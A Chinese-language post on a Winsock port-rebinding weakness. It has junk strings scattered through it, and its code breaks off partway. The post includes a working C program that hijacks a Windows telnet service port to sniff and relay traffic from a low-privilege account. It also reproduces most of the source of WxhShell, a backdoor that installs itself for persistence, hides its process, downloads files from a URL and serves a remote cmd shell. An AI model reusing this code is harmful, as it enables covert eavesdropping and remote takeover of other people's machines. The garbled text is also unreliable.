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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %mYIXsuH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -=sxbs.aA \A~
'& saddr.sin_family = AF_INET; ~V|!\CB "4?hK saddr.sin_addr.s_addr = htonl(INADDR_ANY); !eTS PM ~!nd'{{9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #U_u~7?H$ PvB?57wkF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F'~/ 2E1TJ.[BS 这意味着什么?意味着可以进行如下的攻击: =91'.c< vaxg^n|v9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S2s-TpjB< &S-& 'ZAY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QNtr = 6 aK--k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7Rh:+bT JX/d;N7a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %5KR}NXX6 ^#Y6
E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FXSDN268 &+^
# `nq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qlxW@| P3
Evv]sB@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z$V8<&q O``MUb b #include =!c+|X` #include G_<[sMC8 #include ~^C7(g ) #include g`6wj|@ =W DWORD WINAPI ClientThread(LPVOID lpParam); cU6#^PFu int main() E0hp%: { %i
" WORD wVersionRequested; $^XPk#$m DWORD ret; !?>)[@2
k6 WSADATA wsaData; H.mG0x`M"E BOOL val; w+Z};C SOCKADDR_IN saddr; 2~U+PyeNz SOCKADDR_IN scaddr; e ^qnUjMy int err; %Uk/P SOCKET s; stG&(M SOCKET sc; &sgwY int caddsize; Tz-cN HANDLE mt; Y_B 4s- DWORD tid; dtBV0$ wVersionRequested = MAKEWORD( 2, 2 ); 3# (5Kco err = WSAStartup( wVersionRequested, &wsaData ); I7_D $a= if ( err != 0 ) { /
IS WC printf("error!WSAStartup failed!\n"); j)DZmGg&t return -1; =arsoCa } MB 5[Js| saddr.sin_family = AF_INET; q{ 1U Pb;`'<*U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F)5Aq H/p n6Zx0ad? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |K-lgrA saddr.sin_port = htons(23); y
m{/0&7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )l}wjKfgO { O*v+<|0!l printf("error!socket failed!\n"); I`kp5lGD2 return -1; &NQR*Tn } eM"mP&TTL val = TRUE; ]."c4S_)| //SO_REUSEADDR选项就是可以实现端口重绑定的 W>bW1h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kw~H%-,] { UhTr<(@ printf("error!setsockopt failed!\n"); kf!/9 return -1; ?KXQ)Y/su } j1C.#-P[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wg.fo:Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {wXN kq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @R&D["! |Z^g\l.j{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7uxPkZbb { q$rA-`jw ret=GetLastError(); vUs7#* printf("error!bind failed!\n"); 'uzv\[ return -1; ^z;,deoGh } PI \,`^)y listen(s,2); L,pSdeq while(1) -\$cGIL { RbM~E~$ caddsize = sizeof(scaddr); $)]FCuv //接受连接请求 2H+DT-hK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :t
S"sM if(sc!=INVALID_SOCKET) `UK+[`E { Ux
T[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L)'rM-nkFh if(mt==NULL) PEt8,,x<" { "BfmX0&? printf("Thread Creat Failed!\n");
73ljW break; 3F} KrG } &:#8ol(n5b } E}vO*ZZEw CloseHandle(mt); }n%Rl\p } m
Ap|?n/K closesocket(s); l1Q+hz5"*U WSACleanup(); 5l/l] return 0; <^_Vl8% } HHTsHb{7 DWORD WINAPI ClientThread(LPVOID lpParam) >m1V9A { (zDk68=v SOCKET ss = (SOCKET)lpParam; Su$ 1 t SOCKET sc; [(F<|f:n unsigned char buf[4096]; v@uaf=x- SOCKADDR_IN saddr; dG?a"/MA long num; Q]5^Eiq8 DWORD val; 67\Ojl~(1 DWORD ret; H8]^f= //如果是隐藏端口应用的话,可以在此处加一些判断 %O=V4%"m\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Zt2@?w; saddr.sin_family = AF_INET; xM//] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]N"F?3J 8 saddr.sin_port = htons(23); sLi//P?:t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O\Mq<;|7m { s8d}HI printf("error!socket failed!\n"); xyjVdD\ return -1; nCMa$+ } kz;_f val = 100; {3(.c, q@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z;~[@7` { 8{ Eo8L'V ret = GetLastError(); y*b.eO return -1; dX@A%6#? } {Y:ZY+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .7gE^ { Qb't*2c% ret = GetLastError(); Rw\C0' return -1; _+04M)q0 } ?wf+{x-dPP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _6UAeZ*M { 5Vo}G %g printf("error!socket connect failed!\n"); ;;'a--'" closesocket(sc); Ji:iKkI closesocket(ss); G68Nv: return -1; _RL-6jw#o } :sVHY2x while(1) 'cF%4F { DGZY~(] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +'qX
sfc //如果是嗅探内容的话,可以再此处进行内容分析和记录 L0mnU)Q}C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j"IM,= num = recv(ss,buf,4096,0); 51M^yG&M if(num>0) A$%!9Cma send(sc,buf,num,0); CTkN8{2S else if(num==0) ki~y@@3I break; \}x'>6zr2 num = recv(sc,buf,4096,0); {rvbo1t if(num>0) t0J5v ; send(ss,buf,num,0); LJ(n?/z% else if(num==0) /uE^H%9h break; \FoxKOTp } ,#bb8+z&p closesocket(ss);
1.0!H.>q closesocket(sc); }S
vw,c return 0 ; >U~|R=* } DqzA U7 sVZZp ljJz#+H2_ ========================================================== (HaKF7Jsi ^5^}MB% 下边附上一个代码,,WXhSHELL _rMT{q3 5M Wvu,'%8 ========================================================== nSxb-Ce .^LL9{? #include "stdafx.h" q^N0abzgP ;sChxQ=.^ #include <stdio.h> (eRKR2% q #include <string.h> WR
a+zii, #include <windows.h> wVp4c?s #include <winsock2.h> {x|kg; #include <winsvc.h> $,;S\JmWP #include <urlmon.h> '>e79f-O) P*SCHe' #pragma comment (lib, "Ws2_32.lib") zvGK6qCk #pragma comment (lib, "urlmon.lib") TsX+. i' <4Q1 2: #define MAX_USER 100 // 最大客户端连接数 H9~%#&fF #define BUF_SOCK 200 // sock buffer m(Y.X=EZr #define KEY_BUFF 255 // 输入 buffer ~n/Aq*
TmYP_5g: #define REBOOT 0 // 重启 Cfr<D3&,] #define SHUTDOWN 1 // 关机 {,Bb"0 \ L-z;:Ztk #define DEF_PORT 5000 // 监听端口 \oB' "X5_-l #define REG_LEN 16 // 注册表键长度 6)wy^a|pb #define SVC_LEN 80 // NT服务名长度 i-k >U}[% |}M0,AS // 从dll定义API If-,c^i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <rB3[IJo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7!r#(>I6?1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;v1NL@w* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `c' &"[)s[m+t // wxhshell配置信息 v]:+`dV struct WSCFG {
+mc[S int ws_port; // 监听端口 DikdC5>O>m char ws_passstr[REG_LEN]; // 口令 TX23D)CX int ws_autoins; // 安装标记, 1=yes 0=no xJ~
gT char ws_regname[REG_LEN]; // 注册表键名 `S \zqF< char ws_svcname[REG_LEN]; // 服务名 .kc"E char ws_svcdisp[SVC_LEN]; // 服务显示名 -^iUVO`z char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Ns,ts(ng char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J%\- 1 int ws_downexe; // 下载执行标记, 1=yes 0=no AfRW=&xdT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" X&(<G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eyT>wma0 PFS;/ }; 2e9jo,i hIuMHq7h // default Wxhshell configuration
@~k5+Z struct WSCFG wscfg={DEF_PORT, Tm)GC_ "xuhuanlingzhe", WR/o
@$/ 1, T-|9o|~z "Wxhshell", gB>imr#e& "Wxhshell", MzQ\rg_B7 "WxhShell Service", pb^,Qvnp "Wrsky Windows CmdShell Service", ]*N:;J "Please Input Your Password: ", OXHvT/L` 1, C$<"w, " http://www.wrsky.com/wxhshell.exe", VEj$^bpp5s "Wxhshell.exe" S]&8St }; J7BFk
?= ryxYcEM0 // 消息定义模块 +T0op4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O' +"d%2' char *msg_ws_prompt="\n\r? for help\n\r#>"; sM9FE{,mx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @Od^k# char *msg_ws_ext="\n\rExit."; H8@8MFz\ char *msg_ws_end="\n\rQuit."; /!GKh5| char *msg_ws_boot="\n\rReboot...";
7%}ay char *msg_ws_poff="\n\rShutdown..."; e~{^oM char *msg_ws_down="\n\rSave to "; p%q.*trUb9 _eJXi, char *msg_ws_err="\n\rErr!"; w6T[hZ 9 char *msg_ws_ok="\n\rOK!"; '>j<yaD' v6s\Z\v)Q` char ExeFile[MAX_PATH]; n/QfdAg int nUser = 0; q!6|lZ B3 HANDLE handles[MAX_USER]; &]P"48NT int OsIsNt; DY9fF4[9a :{LAVMG&^ SERVICE_STATUS serviceStatus; 2fl4h<V SERVICE_STATUS_HANDLE hServiceStatusHandle; EM=w?T 0YzsA#yv // 函数声明 ^Q0&.hL@ int Install(void); ]3*P:$Rq int Uninstall(void); ha*X6R int DownloadFile(char *sURL, SOCKET wsh); ~>V-*NT8 int Boot(int flag); #s"851e void HideProc(void); q|5Q?t:,r int GetOsVer(void); CI`N8
f=v int Wxhshell(SOCKET wsl); s%~L4Wmcq void TalkWithClient(void *cs); RMoJz6^> int CmdShell(SOCKET sock); .xO
_E1Ku; int StartFromService(void); !;%y$$gxh int StartWxhshell(LPSTR lpCmdLine); &lAQ & wGvhB%8K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zJ9v%.e VOID WINAPI NTServiceHandler( DWORD fdwControl ); H@{Objh1 4j>fI)FUW // 数据结构和表定义 #(C/Cx54 SERVICE_TABLE_ENTRY DispatchTable[] = ;UYc { 0n3D~Xzd {wscfg.ws_svcname, NTServiceMain}, XCDSmZ {NULL, NULL} OL3UgepF }; /aZE,IeEz <FY&h# // 自我安装 WsR+Np@c int Install(void) Ia2(Km { C.~j'5N char svExeFile[MAX_PATH]; $>*Yhz ` HKEY key; _\.{6"" strcpy(svExeFile,ExeFile); k#O,j pbB $X*mdji // 如果是win9x系统,修改注册表设为自启动 #~^btL'dHF if(!OsIsNt) { AoYaVlKG8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IdPn%)>6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bd!U)b(}OV RegCloseKey(key); |; $Bb866/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fN-Gk(Ic RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -ynBi;nH RegCloseKey(key); P;vxT}1 return 0; e+'%!w"B } Z%}4bJ } B0d%c&N${ } G@gh#[b else { <} ,1Ncl x4m 5JDC // 如果是NT以上系统,安装为系统服务 O:Va&Cyj* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kneuV8+(5 if (schSCManager!=0) q$[n`w- { ebC)H SC_HANDLE schService = CreateService 4KXc~eF[M" ( XphE loL schSCManager, !:WW wscfg.ws_svcname, IG< H"tQ wscfg.ws_svcdisp, whye)w SERVICE_ALL_ACCESS, >"v9iT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vE%s,E, SERVICE_AUTO_START, ~6`iY@) SERVICE_ERROR_NORMAL, NjX[;e-u svExeFile, 2Il8f NULL, AF}gSNX NULL, h[kU<mU"T NULL, x5}lgyt NULL, b9~A-Z NULL 3`*Kav>" ); %MZP)k,&U if (schService!=0) `
#OSl { .2W"w)$nuq CloseServiceHandle(schService); mT@nn, CloseServiceHandle(schSCManager); n[,XU|2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0*8TS7.3 strcat(svExeFile,wscfg.ws_svcname); C!+I>J{4f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qmglb:" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xCXQ<77 RegCloseKey(key); Ooc\1lX return 0; +5!&E7bcd } {u"8[@@./ } :@eHX& CloseServiceHandle(schSCManager); H4:&%"j7 } s$w;q\1z } N\NyXh$ aJhxc<"e return 1; B4h5[fPX } >|g?wC}V; :z&7W< // 自我卸载 k()$:-V int Uninstall(void) 0|c}p([~ { j+rG7z){K HKEY key; r^0F"9eOL +1rkq\{l if(!OsIsNt) { D:"{g|nW} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GIyF81KR 3 RegDeleteValue(key,wscfg.ws_regname); s?2$ue&-f RegCloseKey(key); \?**2{9&) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kcy@$uF{2 RegDeleteValue(key,wscfg.ws_regname); [;A[.&6 RegCloseKey(key); IgIYguQ return 0; /mA,F;
} X6\ sF"E }
=-"c*^$] } NX[4PKJ0C else { /Fgw$
^H -F@L}| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aC%&U4OS if (schSCManager!=0) E{E0Z9t7& { t)f-mQz) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S<`I
Jpkv if (schService!=0) e}hmS 1>H { "%qzj93>
if(DeleteService(schService)!=0) { mh.+."<)F CloseServiceHandle(schService); &@% $2O.3 CloseServiceHandle(schSCManager); Qm4o7x{q return 0; A1"SLFY } >R\lqLILb, CloseServiceHandle(schService); l+*&:Q/ } 0[Ht_qxb CloseServiceHandle(schSCManager); rx0~`cVV: } -' g*^ } i,IB!x H/+B%2Zj return 1; z^<L(/rg9" } bN$r k| \$sjrqKnu // 从指定url下载文件 A9BX_9}] int DownloadFile(char *sURL, SOCKET wsh) Wp)*Mbq@ { Lfog
{Vzs HRESULT hr; #]P9b@@e char seps[]= "/"; 83%)/_& char *token; lf(`SYQnOY char *file; D^Jk@<* char myURL[MAX_PATH]; /FD5G7ES char myFILE[MAX_PATH]; ?W>qUrZ qpIC{'A. strcpy(myURL,sURL); ntFT>g{B token=strtok(myURL,seps); iOAbaPN while(token!=NULL) sEMQ { p]T<HGJ P file=token; +N`ua token=strtok(NULL,seps); 9h&R]yz; } aJ Z"D8C ~6YMD GetCurrentDirectory(MAX_PATH,myFILE); -m
*Sq strcat(myFILE, "\\"); Lk\P7w{ strcat(myFILE, file); _g%TSumvq< send(wsh,myFILE,strlen(myFILE),0); Xpe)PXb send(wsh,"...",3,0); &>d:R_Q] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'k;rH!R if(hr==S_OK) s\!>"J bAQ return 0; 3?2 FP|G8 else oND@:>QBF return 1; I[)% , jd mKrh[nA } h2ytS^ 7frTTSZ // 系统电源模块 Q></`QWpoB int Boot(int flag) L:XC { X+UJzR90 HANDLE hToken; *na?n2Yzt TOKEN_PRIVILEGES tkp; A,sr[Pa@ '5&s=M_ if(OsIsNt) { .<@8gNm3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #@<9S{F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [8tL"G6s tkp.PrivilegeCount = 1; ^[:p|U2mA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1-lu\"H` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nRyU]=-X if(flag==REBOOT) { i&{DOI%w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k0Ol*L!p return 0; 2hzsKkrA
{ } sMu]
/'7 else { ]a5 f2lE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '%q$`KDb return 0; (L^]Lk
x) } a~'a } (=7Cs else { 9$2/MT't if(flag==REBOOT) { 0a80 LAK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) th;{V%:LW return 0; &=VDASEu } ^R:cd8+?% else { "[y-+)WTG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^fZ&QK return 0; (sh)TBb5 } ?@E!u|]K } E?_Z`*h PLK3v4kVM! return 1; ZYC<Wb)I } 1t)il^p4[;
` @nl // win9x进程隐藏模块 }GeSu|m( void HideProc(void) Y1]n^ { rqY`8Ry2M z11O F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r-:Uz\gM if ( hKernel != NULL ) iof-7{+3_ { q
FAT]{{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZIQ
[bE7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O#F4WWF FreeLibrary(hKernel); @3zg=?3 } !QvZ<5( G K7![p return; ?#fu.YE\ } E{|W(z,
R6]Gk)5 // 获取操作系统版本 6_FE 4RR[ int GetOsVer(void) thI
F& { Evedc*z~P OSVERSIONINFO winfo; Ymg|4%O@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )c)vTZy GetVersionEx(&winfo); s,]z[qB#$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zx)z/1 return 1; +mn,F}; else Le\?+h42> return 0; neLAEHV } >U[j]V] Dy:|g1> // 客户端句柄模块 FY#C.mL int Wxhshell(SOCKET wsl) 5yP\I+Fm { ]x(!&y:h SOCKET wsh; {0WHn.,2Y struct sockaddr_in client; $42{HFGq DWORD myID; ~XOTs c}2jmwq
while(nUser<MAX_USER) eQ]~dA8> { 0eDHu int nSize=sizeof(client); m)'=G%y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $w`=z<2yo1 if(wsh==INVALID_SOCKET) return 1; =`H@% 'F9 jq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OG>}M$Ora if(handles[nUser]==0) ,,q10iF closesocket(wsh); &7K?w~ else pC@{DW;V6R nUser++; Yfzl%wc } w=T\3(%j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P*3BB>FO j~[z2tV return 0; |}Nn!Sj>#; } #."-#"0 CTq&-l:f // 关闭 socket :&V h? void CloseIt(SOCKET wsh) ?kbiMs1;u { c7x~{V8 closesocket(wsh); 4R1<nZ"e~ nUser--; j i7[nY ExitThread(0); Lr~=^{ } (ROY?5
@c Y[}>CYO // 客户端请求句柄 #W4dkCd(pF void TalkWithClient(void *cs) H4&lb} { w"-Lc4t+ /<|%yE&KhJ SOCKET wsh=(SOCKET)cs; U`, 6 * MS char pwd[SVC_LEN]; "Q@ronP(~ char cmd[KEY_BUFF]; -g*4(w char chr[1]; 1mOh{:1u int i,j; eg;~zv Z`ID+ while (nUser < MAX_USER) { 5B3G
@KR \fz<.l] if(wscfg.ws_passstr) { A$Hfr8w1u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R{<kW9! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q ayPo]O //ZeroMemory(pwd,KEY_BUFF); )rn*iJ.e8 i=0; OEA&~4&{7 while(i<SVC_LEN) { 'vbsv T }ppN k:B // 设置超时 <Tzrj1"Q3 fd_set FdRead; D9^h;
8 struct timeval TimeOut; -*X a3/kQ FD_ZERO(&FdRead); *x@Onj FD_SET(wsh,&FdRead); .WA-&b_ TimeOut.tv_sec=8; CQF:Rnb TimeOut.tv_usec=0; 5Ha9lM2gh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g+vva" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R O+GK`J Lo{
E:5q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G|!Tj X7s pwd =chr[0]; |"ls\ 7 if(chr[0]==0xd || chr[0]==0xa) { Yvw(tj5_5 pwd=0; ayR-\mZ break; M ?Y;a5{ } ,8U&?8l i++; snE8 K}4 } [=6]+V83M y\4L{GlBM // 如果是非法用户,关闭 socket s~ a"4~f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f-vCm 5f } Dp,L/1GQ8 X(
\AB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o=1Uh,S3R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h7G"G" V_:1EBzz while(1) { 4;e5H_}Oo p& y<I6a, ZeroMemory(cmd,KEY_BUFF); AYqX| ;DqWh0 // 自动支持客户端 telnet标准 !;q&NHco j=0; _{I3i:f9X8 while(j<KEY_BUFF) { +"\sc;6m. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fInb[ cmd[j]=chr[0]; 0L2 F[TN if(chr[0]==0xa || chr[0]==0xd) { DR5\45v cmd[j]=0; 36}?dRw#p break; o4G ?nvK- } X`kk]8= j++; lA|
5E? } oK6tTK ?GKb7Oj // 下载文件 [+2[`K
c] if(strstr(cmd,"http://")) { KKja/p send(wsh,msg_ws_down,strlen(msg_ws_down),0); SoW9p^HJ if(DownloadFile(cmd,wsh)) [M]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJ=:8: else ]
{RDV A=] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !"?#6-,Xn } S'Q@ScJ else { SD"FErJ &FMc?wq switch(cmd[0]) { QO<jI#
`06; // 帮助 jl4rbzse case '?': { K
-nF lPm\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ (|5/
p7t break; d[@X% } {j.bC@hWw // 安装 Ec3}_` case 'i': { |7'df &CA if(Install()) *v;2PP[^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); CM/H9Kz. else $O&b`` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9&-dTayIz break; Sq>dt[7 } DrKP%BnS // 卸载 "%`1]Fr case 'r': { dU&a{$ku[ if(Uninstall()) -^&<Z
0m send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!xQ=DU" else ,Xu-@br{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xgwY@'GN break; b1(T4w6 } >!eAM ) // 显示 wxhshell 所在路径 [^WC lRF case 'p': { Fco`^kql.D char svExeFile[MAX_PATH]; {{$Nqn,pH strcpy(svExeFile,"\n\r"); %0S3V[4I strcat(svExeFile,ExeFile); 7x"R3 send(wsh,svExeFile,strlen(svExeFile),0); 5bRJS70M break; m~iXl,r } ]J1dt N= // 重启 ]AINKUI0 case 'b': { Vh'P&W?[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F%@A6'c if(Boot(REBOOT)) E-T)*`e send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4t7Ie*Q else { ;,hwZZA closesocket(wsh); iw3FA4{( ExitThread(0); >nJ\BPx } F~,Mw8 break; &Qf/>@ l} } A=$04<nP8! // 关机 W>${zVu case 'd': { ^=GC3%
J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ui<N[ if(Boot(SHUTDOWN)) |UkR'Ma send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gt\lFQ
else { wg9t)1k{e closesocket(wsh); *D'22TO[[! ExitThread(0); 9&$y}Y } G!Op~p@Jm break; cVXLKO } 0eT(J7[ < // 获取shell LoURC$lS case 's': { UE8kpa)cQ CmdShell(wsh); vk}n,ecl closesocket(wsh); G"r1+# ExitThread(0); _~'=C#XI) break; hCi 60%g/n } _zR+i]9 // 退出 +Zb;Vn4 case 'x': { (of#(I[m7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Bh}}!13 CloseIt(wsh); T-'OwCB1q break; )MtF23k)g } w^\52 // 离开 T`9lV2x*P case 'q': { .N,bIQnj send(wsh,msg_ws_end,strlen(msg_ws_end),0); 57'*w]4f closesocket(wsh); BGvre'67 WSACleanup(); G4Q[Th exit(1); &agWaf1%a break; `
)/vq-9 } [zH:1Zhl& }
ncZ+gzK|" } 3OrczJ=[UF Me r/G2#& // 提示信息 $[Sc0dzJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +cJL7=V& } 8+~
>E } wy<\Tg^J b(,M1.[qt return; zN[hkmh } ?j'7l=94A ;!>rnxB?4 // shell模块句柄 J!AgBF N4 int CmdShell(SOCKET sock) I&fozO
{ U&g@.,Y# STARTUPINFO si; a[>/h3 ZeroMemory(&si,sizeof(si)); Q0)#8Rcm si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oTEL?hw5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uF X#`^r` PROCESS_INFORMATION ProcessInfo; yks__ylrl( char cmdline[]="cmd"; q}b
dxa CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yz'K]M_Dq return 0; y8d]9sX{ } [meO[otb ;o
6lf_ // 自身启动模式 #oS<E1 int StartFromService(void) ;@0;pY { `Syl:rU~y@ typedef struct Mc?Qx { ^a/gBC82x DWORD ExitStatus; ]MqMQLG0t DWORD PebBaseAddress; l?E{YQq] DWORD AffinityMask; H[NSqu.s DWORD BasePriority; 7!evm;A ULONG UniqueProcessId; ntu5{L'8 ULONG InheritedFromUniqueProcessId; C>ICu*PW } PROCESS_BASIC_INFORMATION; ~Z -Vs j:Xq1f6a PROCNTQSIP NtQueryInformationProcess; yjO1 Ol .Hescg/S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rm2yPuOU}A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _jvxc'6 [xK3F+ HANDLE hProcess; B+$%*%b PROCESS_BASIC_INFORMATION pbi; !`M,XSp( 3#WT.4k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I:E`PZ if(NULL == hInst ) return 0; MH
